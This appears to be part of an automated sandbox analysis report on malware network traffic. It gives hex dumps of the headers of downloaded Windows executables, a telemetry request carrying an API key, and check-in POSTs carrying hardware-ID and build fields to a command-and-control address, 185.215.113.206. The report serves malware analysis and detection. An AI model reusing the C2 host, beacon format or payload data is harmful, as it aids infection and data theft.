00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 11:40:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 11:40:35 GMTContent-Type: application/octet-streamContent-Length: 3194368Last-Modified: Mon, 11 Nov 2024 11:23:33 GMTConnection: keep-aliveETag: "6731e935-30be00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 31 00 00 04 00 00 a7 ab 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 b1 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 b1 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 67 61 76 73 6e 72 62 00 10 2a 00 00 b0 06 00 00 02 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 63 73 6a 72 65 6c 62 00 10 00 00 00 c0 30 00 00 06 00 00 00 96 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 30 00 00 22 00 00 00 9c 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 11:41:07 GMTContent-Type: application/octet-streamContent-Length: 3247616Last-Modified: Mon, 11 Nov 2024 11:23:12 GMTConnection: keep-aliveETag: "6731e920-318e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 a0 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 31 00 00 04 00 00 5c 5d 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 61 6f 6a 69 77 64 62 00 e0 2b 00 00 b0 05 00 00 d2 2b 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 74 71 75 7a 6d 76 77 00 10 00 00 00 90 31 00 00 04 00 00 00 68 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 31 00 00 22 00 00 00 6c 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 11:41:12 GMTContent-Type: application/octet-streamContent-Length: 1820160Last-Modified: Mon, 11 Nov 2024 11:23:25 GMTConnection: keep-aliveETag: "6731e92d-1bc600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 3f ae 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6e 74 69 6b 64 6c 66 00 30 1a 00 00 b0 4f 00 00 2a 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 64 70 72 67 76 79 61 00 10 00 00 00 e0 69 00 00 04 00 00 00 a0 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 69 00 00 22 00 00 00 a4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 11:41:20 GMTContent-Type: application/octet-streamContent-Length: 2774016Last-Modified: Mon, 11 Nov 2024 11:35:42 GMTConnection: keep-aliveETag: "6731ec0e-2a5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 be fd 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 6e 71 72 6e 77 77 69 00 00 2a 00 00 a0 00 00 00 f2 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 69 66 65 73 71 6c 70 00 20 00 00 00 a0 2a 00 00 06 00 00 00 2c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 32 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 11:41:25 GMTContent-Type: application/octet-streamContent-Length: 1820160Last-Modified: Mon, 11 Nov 2024 11:23:25 GMTConnection: keep-aliveETag: "6731e92d-1bc600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 3f ae 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6e 74 69 6b 64 6c 66 00 30 1a 00 00 b0 4f 00 00 2a 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 64 70 72 67 76 79 61 00 10 00 00 00 e0 69 00 00 04 00 00 00 a0 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 69 00 00 22 00 00 00 a4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731325501370Host: self.events.data.microsoft.comContent-Length: 7974Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 46 32 39 39 42 35 36 34 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 